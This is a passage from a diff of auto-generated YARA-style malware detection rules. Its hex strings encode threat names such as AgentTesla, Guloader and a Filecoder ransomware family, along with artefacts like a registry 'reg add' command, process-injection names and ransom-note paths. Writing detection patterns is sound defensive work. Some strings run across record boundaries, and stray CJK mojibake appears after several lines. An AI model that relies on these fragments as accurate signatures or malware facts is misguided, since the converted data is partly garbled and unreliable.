83 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 78 63 68 61 6e 67 65 72 2e 42 21 64 68 61 00 01 00 3e 01 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 43 00 6c 00 61 00 73 00 73 00 4c 00 69 00 62 00 72 00 61 00 72 00 79 00 31 00 2e 00 64 00 6c 00 6c 00 00 00 01 00 40 01 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 66 00 69 00 6c 00 65 00 20 00 2c 00 20 00 45 00 72 00 72 00 6f 00 72 00 3a 00 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 } //-30379 - $a_2f_3 = {75 62 6e 69 75 6d 5f 53 61 6d 70 6c 65 5f 53 53 48 4f 70 65 6e 53 53 4c 00 01 00 42 03 73 00 73 00 68 00 6b 00 65 00 79 00 70 00 61 00 69 00 72 00 67 00 65 00 6e 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2e 03 4f 70 65 6e 53 } //29807 - $a_20_4 = {41 54 41 4c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f } //19539 - $a_3a_5 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 49 4f 32 32 33 21 4d 54 42 00 01 00 4e 03 94 58 20 00 01 00 00 5d 13 ?? 11 ?? 11 ?? 94 13 ?? 11 90 1b 01 11 ?? 11 90 1b 01 11 ?? 94 9e 11 90 1b 01 11 ?? 11 ?? 9e 11 ?? 17 58 13 ?? 11 ?? 20 00 01 00 00 32 } //24938 - $a_03_6 = {8e 69 5d 91 9e 11 ?? 11 ?? 11 90 1b 01 9e 11 90 1b 01 17 58 13 90 1b 01 11 90 1b 01 20 00 01 00 00 32 } //1 - $a_b1_7 = {00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 52 56 42 30 31 21 4d 54 42 00 01 00 55 81 01 57 15 a2 09 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 5f 00 00 00 0a 00 00 00 1f 00 00 00 3c 00 00 00 3f 00 00 00 8f 00 00 00 2f 00 00 00 12 00 00 00 03 00 00 00 0a 00 00 00 11 00 00 00 05 00 00 00 01 00 } //0 + $a_56_2 = {53 81 01 00 0b 01 c3 0f 1f 00 55 89 e5 56 57 53 83 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 48 75 6d 69 64 50 69 7a 7a 61 2e 41 21 64 68 61 00 01 00 3d 42 68 00 10 00 00 68 90 01 04 68 90 01 04 68 00 10 00 00 68 90 01 04 68 00 10 00 00 68 90 01 04 68 00 10 00 00 68 90 01 04 68 00 10 00 00 68 90 01 04 68 90 01 04 ff b5 90 01 04 e8 90 00 01 00 3e 42 68 00 00 00 f0 6a 18 6a 00 6a 00 8d 45 90 01 01 50 ff 95 90 01 04 85 c0 75 05 e9 90 01 01 00 00 00 8d 45 90 01 01 50 6a 00 6a 00 68 03 80 00 00 ff 75 90 01 01 ff 95 90 01 04 85 c0 90 00 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 } //-30379 + $a_68_3 = {6e 67 65 72 2e 42 21 64 68 61 00 01 00 3e 01 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 43 00 6c 00 61 00 73 00 73 00 4c 00 69 00 62 00 72 00 61 00 72 00 79 00 31 00 2e 00 64 00 6c 00 6c 00 00 00 01 00 40 01 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 } //30821 + $a_00_4 = {6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 66 00 69 00 6c 00 65 00 20 00 2c 00 20 00 45 00 72 00 72 00 6f 00 72 00 3a 00 00 00 78 b1 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 44 75 62 6e 69 75 6d 5f 53 61 6d 70 6c 65 5f 53 53 48 4f 70 65 6e 53 } //32 + $a_73_6 = {73 00 68 } //16896 condition: - ((#a_72_0 & 1)*22051+(#a_40_1 & 1)*3841+(#a_56_2 & 1)*-30379+(#a_2f_3 & 1)*29807+(#a_20_4 & 1)*19539+(#a_3a_5 & 1)*24938+(#a_03_6 & 1)*1+(#a_b1_7 & 1)*0) >=1 + ((#a_72_0 & 1)*22051+(#a_40_1 & 1)*3841+(#a_56_2 & 1)*-30379+(#a_68_3 & 1)*30821+(#a_00_4 & 1)*32+(#a_73_6 & 1)*16896) >=1 } -rule _InfrastructureShared_12309{ +rule _InfrastructureShared_13115{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 48 75 6d 69 64 50 69 7a 7a 61 2e 41 21 64 68 61 00 01 00 3d 42 68 00 10 00 00 68 90 01 04 68 90 01 04 68 00 10 00 00 68 90 01 04 68 00 10 00 00 68 90 01 04 68 00 10 00 00 68 90 01 04 } //16675 + $a_00_1 = {00 68 90 01 04 68 90 01 04 ff b5 90 01 04 e8 90 } //104 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*104) >=2 + +} +rule _InfrastructureShared_13116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -136957,7 +146090,7 @@ rule _InfrastructureShared_12309{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_12310{ +rule _InfrastructureShared_13117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -136967,7 +146100,7 @@ rule _InfrastructureShared_12310{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_12311{ +rule _InfrastructureShared_13118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -136978,7 +146111,7 @@ rule _InfrastructureShared_12311{ ((#a_54_0 & 1)*18467+(#a_1b_1 & 1)*4510) >=2 } -rule _InfrastructureShared_12312{ +rule _InfrastructureShared_13119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -136989,7 +146122,7 @@ rule _InfrastructureShared_12312{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_12313{ +rule _InfrastructureShared_13120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -137001,7 +146134,7 @@ rule _InfrastructureShared_12313{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*17743+(#a_41_2 & 1)*18944) >=2 } -rule _InfrastructureShared_12314{ +rule _InfrastructureShared_13121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -137013,7 +146146,7 @@ rule _InfrastructureShared_12314{ ((#a_46_0 & 1)*21283+(#a_70_1 & 1)*16886+(#a_6b_2 & 1)*29300) >=2 } -rule _InfrastructureShared_12315{ +rule _InfrastructureShared_13122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -137025,7 +146158,7 @@ rule _InfrastructureShared_12315{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*7565+(#a_00_3 & 1)*67) >=2 } -rule _InfrastructureShared_12316{ +rule _InfrastructureShared_13123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -137038,7 +146171,7 @@ rule _InfrastructureShared_12316{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*69+(#a_74_3 & 1)*29250+(#a_0f_4 & 1)*29952) >=2 } -rule _InfrastructureShared_12317{ +rule _InfrastructureShared_13124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137050,7 +146183,7 @@ rule _InfrastructureShared_12317{ ((#a_46_0 & 1)*16675+(#a_e9_1 & 1)*18632+(#a_02_2 & 1)*-29375) >=3 } -rule _InfrastructureShared_12318{ +rule _InfrastructureShared_13125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137060,7 +146193,7 @@ rule _InfrastructureShared_12318{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_12319{ +rule _InfrastructureShared_13126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137072,7 +146205,7 @@ rule _InfrastructureShared_12319{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97+(#a_00_2 & 1)*46) >=3 } -rule _InfrastructureShared_12320{ +rule _InfrastructureShared_13127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137084,7 +146217,7 @@ rule _InfrastructureShared_12320{ ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*-28479+(#a_00_2 & 1)*-15735) >=3 } -rule _InfrastructureShared_12321{ +rule _InfrastructureShared_13128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -137097,7 +146230,7 @@ rule _InfrastructureShared_12321{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*8293+(#a_5c_2 & 1)*3584+(#a_31_3 & 1)*23632) >=3 } -rule _InfrastructureShared_12322{ +rule _InfrastructureShared_13129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -137110,7 +146243,7 @@ rule _InfrastructureShared_12322{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25956+(#a_2e_2 & 1)*28257+(#a_7d_3 & 1)*18773) >=3 } -rule _InfrastructureShared_12323{ +rule _InfrastructureShared_13130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -137122,7 +146255,7 @@ rule _InfrastructureShared_12323{ ((#a_46_0 & 1)*21283+(#a_79_1 & 1)*25454+(#a_47_2 & 1)*11890) >=4 } -rule _InfrastructureShared_12324{ +rule _InfrastructureShared_13131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -137135,7 +146268,7 @@ rule _InfrastructureShared_12324{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5632+(#a_72_2 & 1)*28257+(#a_61_3 & 1)*29441) >=4 } -rule _InfrastructureShared_12325{ +rule _InfrastructureShared_13132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -137143,25 +146276,36 @@ rule _InfrastructureShared_12325{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 41 4f 31 32 33 21 4d 54 42 00 01 00 1f 81 01 70 6c 61 6e 61 72 75 20 67 6c 6f 62 75 6c 6f 69 64 20 70 65 72 6f 6e 65 6f 74 69 62 69 61 6c 01 00 15 81 01 70 61 72 69 64 69 67 69 74 61 74 65 20 72 } //18467 $a_72_1 = {65 73 01 00 26 81 01 62 75 6e 67 69 6e 67 20 70 72 65 66 65 63 74 6f 72 69 61 6c 20 73 79 73 74 65 6d 6b 72 69 74 69 6b 65 72 65 6e 73 01 00 19 81 01 73 6a 61 70 20 61 66 70 72 69 6b 6e 69 6e 67 65 72 73 20 63 61 6d 6f 69 73 00 00 78 b1 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //25700 $a_61_2 = {65 72 2e 4b 56 43 44 31 32 33 21 4d 54 42 00 01 00 1d 81 01 69 6c 6c 75 73 6f 72 69 6c 79 20 61 66 73 6b 72 69 64 74 65 20 63 6f 77 68 61 6e 64 73 01 00 1d 81 01 7a 6f 6f 67 65 6f 6c 6f 67 69 63 61 6c 20 66 6a 65 72 64 65 70 61 72 74 65 72 6e 65 73 01 00 22 81 01 73 61 6c 73 6f 6c 61 20 69 73 6f 61 6c 61 6e 74 6f 6c 61 63 74 6f 6e } //27765 - $a_6d_3 = {75 6c 61 74 69 6f 01 00 17 81 01 73 74 69 6c 65 74 68 6c 65 73 20 63 6f 6e 73 74 69 74 75 74 69 6e 67 00 00 78 b1 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 72 69 79 61 2e 47 21 64 68 61 00 01 00 36 01 72 65 67 20 61 64 64 20 22 48 4b 45 } //8293 + $a_6d_3 = {75 6c 61 74 69 6f 01 00 17 81 01 73 74 69 6c 65 74 68 6c 65 73 20 63 6f 6e 73 74 69 74 75 74 69 6e 67 00 00 78 b1 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 63 6f 64 65 72 2e 59 42 45 21 4d 54 42 00 01 00 08 01 2e 4c 6f 63 6b 65 64 41 01 00 } //8293 condition: ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25700+(#a_61_2 & 1)*27765+(#a_6d_3 & 1)*8293) >=4 } -rule _InfrastructureShared_12326{ +rule _InfrastructureShared_13133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 43 44 31 32 33 21 4d 54 42 00 01 00 1d 81 01 69 6c 6c 75 73 6f 72 69 6c 79 20 61 66 73 6b 72 69 64 74 65 20 63 6f 77 68 61 6e 64 73 01 00 1d 81 01 7a 6f 6f 67 65 6f 6c 6f 67 69 63 61 6c 20 66 6a } //18467 - $a_65_1 = {61 72 74 65 72 6e 65 73 01 00 22 81 01 73 61 6c 73 6f 6c 61 20 69 73 6f 61 6c 61 6e 74 6f 6c 61 63 74 6f 6e 65 20 61 6d 62 75 6c 61 74 69 6f 01 00 17 81 01 73 74 69 6c 65 74 68 6c 65 73 20 63 6f 6e 73 74 69 74 75 74 69 6e 67 00 00 78 b1 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a } //29285 - $a_57_2 = {6e 33 32 2f 4d 6f 72 69 79 61 2e 47 21 64 68 61 00 01 00 36 01 72 65 67 20 61 64 64 20 22 48 4b 45 59 5f 43 55 52 52 45 4e 54 5f 55 53 45 52 5c 53 6f 66 74 77 61 72 65 5c 4d } //28257 ㍮⼲潍楲慹䜮搡慨Ā㘀爁来愠摤∠䭈奅䍟剕䕒呎啟䕓屒潓瑦慷敲䵜 - $a_6f_3 = {6f 66 74 5c 43 54 46 5c 54 49 50 22 01 00 08 00 53 4e 41 43 2e 65 78 65 01 00 0a 00 57 47 58 4d 41 4e 2e 64 6c 6c 01 00 14 01 49 6e 6a 65 63 74 32 54 61 72 67 65 74 50 72 6f 63 65 73 73 01 00 16 01 52 69 73 69 6e 67 4d 6f 6f 6e 48 69 6a 61 63 6b 65 72 2e 64 6c 6c 00 00 78 b1 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e } //25449 + $a_65_1 = {61 72 74 65 72 6e 65 73 01 00 22 81 01 73 61 6c 73 6f 6c 61 20 69 73 6f 61 6c 61 6e 74 6f 6c 61 63 74 6f 6e 65 20 61 6d 62 75 6c 61 74 69 6f 01 00 17 81 01 73 74 69 6c 65 74 68 6c 65 73 20 63 6f 6e 73 74 69 74 75 74 69 6e 67 00 00 78 b1 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a } //29285 + $a_36_2 = {2f 46 69 6c 65 63 6f 64 65 72 2e 59 42 45 21 4d 54 42 00 01 00 08 01 2e 4c 6f 63 6b 65 64 41 01 00 1e 01 49 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 48 00 54 00 41 00 01 00 1c 01 44 6f 6e 74 44 65 6c 65 74 65 54 68 69 73 46 6f 6c 64 65 72 5c 45 6e 63 2e 6b 65 79 01 00 32 01 53 00 79 00 73 00 74 00 65 } //26967 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_57_2 & 1)*28257+(#a_6f_3 & 1)*25449) >=4 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_36_2 & 1)*26967) >=4 } -rule _InfrastructureShared_12327{ +rule _InfrastructureShared_13134{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 63 6f 64 65 72 2e 59 42 45 21 4d 54 42 00 01 00 08 01 2e 4c 6f 63 6b 65 64 41 01 00 1e 01 49 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 48 00 54 00 41 } //21283 慒獮浯场湩㐶䘯汩捥摯牥央䕂䴡䉔Āࠀ⸁潌正摥ŁḀ䤁渀昀漀爀洀愀琀椀漀渀⸀䠀吀䄀 + $a_74_2 = {65 6c 65 74 65 54 68 69 73 46 6f 6c 64 65 72 5c 45 6e 63 2e 6b 65 79 01 00 32 01 53 00 79 00 73 00 74 00 65 00 6d 00 20 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 20 00 49 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 00 00 78 b1 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //28484 + $a_72_3 = {79 61 2e 47 21 64 68 61 00 01 00 36 01 72 65 67 20 61 64 64 20 22 48 4b 45 59 5f 43 55 52 52 45 4e 54 5f 55 53 45 52 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 43 54 46 5c 54 49 50 22 01 00 08 00 53 4e 41 43 2e 65 78 65 01 00 0a 00 57 47 58 4d 41 4e 2e 64 6c 6c 01 00 14 01 49 6e 6a 65 63 74 32 54 61 72 67 65 74 50 } //19759 + condition: + ((#a_46_0 & 1)*21283+(#a_74_2 & 1)*28484+(#a_72_3 & 1)*19759) >=4 + +} +rule _InfrastructureShared_13135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -137174,7 +146318,7 @@ rule _InfrastructureShared_12327{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*29798+(#a_23_2 & 1)*6+(#a_01_4 & 1)*2048) >=4 } -rule _InfrastructureShared_12328{ +rule _InfrastructureShared_13136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -137189,7 +146333,7 @@ rule _InfrastructureShared_12328{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*25972+(#a_61_2 & 1)*12084+(#a_2e_3 & 1)*29793+(#a_00_4 & 1)*21581+(#a_74_5 & 1)*25923) >=4 } -rule _InfrastructureShared_12329{ +rule _InfrastructureShared_13137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -137203,7 +146347,7 @@ rule _InfrastructureShared_12329{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26998+(#a_6e_2 & 1)*22330+(#a_61_4 & 1)*384+(#a_53_5 & 1)*29797) >=4 } -rule _InfrastructureShared_12330{ +rule _InfrastructureShared_13138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -137219,7 +146363,7 @@ rule _InfrastructureShared_12330{ ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*25923+(#a_5f_2 & 1)*25959+(#a_65_3 & 1)*28530+(#a_5a_4 & 1)*385+(#a_6d_5 & 1)*19813+(#a_64_6 & 1)*26165) >=4 } -rule _InfrastructureShared_12331{ +rule _InfrastructureShared_13139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -137233,7 +146377,7 @@ rule _InfrastructureShared_12331{ ((#a_6c_0 & 1)*16675+(#a_54_1 & 1)*-32753+(#a_76_2 & 1)*25955+(#a_49_3 & 1)*19770+(#a_62_4 & 1)*385) >=5 } -rule _InfrastructureShared_12332{ +rule _InfrastructureShared_13140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -137247,7 +146391,7 @@ rule _InfrastructureShared_12332{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*26970+(#a_61_2 & 1)*29541+(#a_6f_3 & 1)*29545+(#a_34_4 & 1)*25446) >=5 } -rule _InfrastructureShared_12333{ +rule _InfrastructureShared_13141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -137260,21 +146404,32 @@ rule _InfrastructureShared_12333{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*25656+(#a_65_3 & 1)*24899+(#a_61_4 & 1)*25906) >=5 } -rule _InfrastructureShared_12334{ +rule _InfrastructureShared_13142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 30 30 37 32 32 21 4d 54 42 00 01 00 0c 01 42 00 38 00 44 00 32 00 35 00 54 00 01 00 24 01 32 63 30 36 32 61 33 63 2d 31 39 66 63 2d 34 62 32 65 2d 62 38 66 35 2d 64 30 } //18467 $a_65_1 = {61 62 30 65 38 01 00 16 01 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 01 00 12 01 44 65 66 65 72 72 65 64 44 69 73 70 6f 73 61 } //12340 扡攰ĸᘀ䌁浯楰慬楴湯敒慬慸楴湯ųሀ䐁晥牥敲䑤獩潰慳 - $a_01_2 = {00 12 01 43 61 74 65 67 6f 72 79 4d 65 6d 62 65 72 73 68 69 70 00 00 78 b1 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4b 54 30 31 21 4d 54 42 00 01 00 17 81 01 75 6e 63 6f 6c 6c 61 70 73 61 62 6c 65 20 68 79 61 65 6e 6f 64 6f 6e 01 00 0e 81 01 61 76 6c } //27746 - $a_67_3 = {69 67 68 65 64 73 01 00 1b 81 01 70 61 72 61 6c 6c 61 78 65 73 20 66 6f 72 6c 61 67 73 72 65 64 61 6b 74 72 65 6e 01 00 10 81 01 75 6e 73 69 6d 70 6c 65 6e 65 73 73 2e 65 78 65 01 00 20 81 01 72 65 76 6f 6b 65 20 71 75 61 72 74 65 72 6d 61 73 74 65 72 73 20 73 70 6f 72 6f 67 65 6e 69 63 00 00 78 b1 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //25701 - $a_6f_4 = {64 65 72 2e 4b 46 44 46 31 32 33 21 4d 54 42 00 01 00 11 81 01 6a 76 6e 69 6e 67 65 72 20 6f 72 63 68 65 73 69 73 01 00 1d 81 01 73 6f 6c 61 61 72 73 20 63 72 6f 69 67 68 6c 65 20 6e 79 6d 61 72 78 69 73 6d 65 6e 73 01 00 1a 81 01 6b 69 64 63 6f 74 65 20 6e 6f 6e 72 65 70 72 65 73 73 69 62 6c 65 20 67 61 62 01 00 17 81 01 } //30023 + $a_01_2 = {00 12 01 43 61 74 65 67 6f 72 79 4d 65 6d 62 65 72 73 68 69 70 00 00 78 b1 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 55 43 21 4d 54 42 00 01 00 0f 81 01 4f 47 45 20 45 6e 65 72 67 79 20 43 6f 72 70 01 00 1c 81 01 41 44 43 20 54 65 } //27746 + $a_6f_3 = {6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 49 6e 63 2e 01 00 17 81 01 63 6f 6f 6c 79 20 6e 6f 6e 61 62 73 6f 6c 75 74 69 73 74 2e 65 78 65 01 00 1a 81 01 54 68 6f 6d 61 73 20 26 20 42 65 74 74 73 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0f 81 01 52 6f 73 73 20 53 74 6f 72 65 73 20 49 6e 63 00 00 78 } //25964 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*12340+(#a_01_2 & 1)*27746+(#a_67_3 & 1)*25701+(#a_6f_4 & 1)*30023) >=5 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*12340+(#a_01_2 & 1)*27746+(#a_6f_3 & 1)*25964) >=5 } -rule _InfrastructureShared_12335{ +rule _InfrastructureShared_13143{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 55 43 21 4d 54 42 00 01 00 0f 81 01 4f 47 45 20 45 6e 65 72 67 79 20 43 6f 72 70 01 00 1c 81 01 41 44 43 20 54 65 6c 65 63 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 49 6e 63 } //18467 + $a_6f_2 = {79 20 6e 6f 6e 61 62 73 6f 6c 75 74 69 73 74 2e 65 78 65 01 00 1a 81 01 54 68 6f 6d 61 73 20 26 20 42 65 74 74 73 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0f 81 01 52 6f 73 73 20 53 74 6f 72 65 73 20 49 6e 63 00 00 78 b1 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4b 54 30 31 21 4d } //25345 + $a_01_4 = {75 6e 63 6f 6c 6c 61 70 73 61 62 6c 65 20 68 79 61 65 6e 6f 64 6f 6e 01 00 0e 81 01 61 76 6c 65 64 79 67 74 69 67 68 65 64 73 01 00 1b 81 01 70 61 72 61 6c 6c 61 78 65 73 20 66 6f 72 6c 61 67 73 72 65 64 61 6b 74 72 65 6e 01 00 10 81 01 75 6e 73 69 6d 70 6c 65 6e 65 73 73 2e 65 78 65 01 00 20 81 01 72 65 76 6f 6b 65 20 71 75 61 72 74 65 72 6d 61 73 74 65 72 73 20 73 70 6f 72 6f 67 65 } //5888 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*25345+(#a_01_4 & 1)*5888) >=5 + +} +rule _InfrastructureShared_13144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -137287,7 +146442,7 @@ rule _InfrastructureShared_12335{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24940+(#a_6e_3 & 1)*27137+(#a_72_4 & 1)*29811) >=5 } -rule _InfrastructureShared_12336{ +rule _InfrastructureShared_13145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -137300,7 +146455,7 @@ rule _InfrastructureShared_12336{ ((#a_54_0 & 1)*18467+(#a_64_2 & 1)*27393+(#a_31_3 & 1)*16723+(#a_74_4 & 1)*24924) >=5 } -rule _InfrastructureShared_12337{ +rule _InfrastructureShared_13146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -137313,7 +146468,7 @@ rule _InfrastructureShared_12337{ ((#a_54_0 & 1)*18467+(#a_62_2 & 1)*13569+(#a_47_3 & 1)*12851+(#a_69_4 & 1)*26465) >=5 } -rule _InfrastructureShared_12338{ +rule _InfrastructureShared_13147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -137327,7 +146482,7 @@ rule _InfrastructureShared_12338{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*-32480+(#a_65_2 & 1)*28532+(#a_01_3 & 1)*3+(#a_01_4 & 1)*3) >=5 } -rule _InfrastructureShared_12339{ +rule _InfrastructureShared_13148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -137338,7 +146493,18 @@ rule _InfrastructureShared_12339{ ((#a_54_0 & 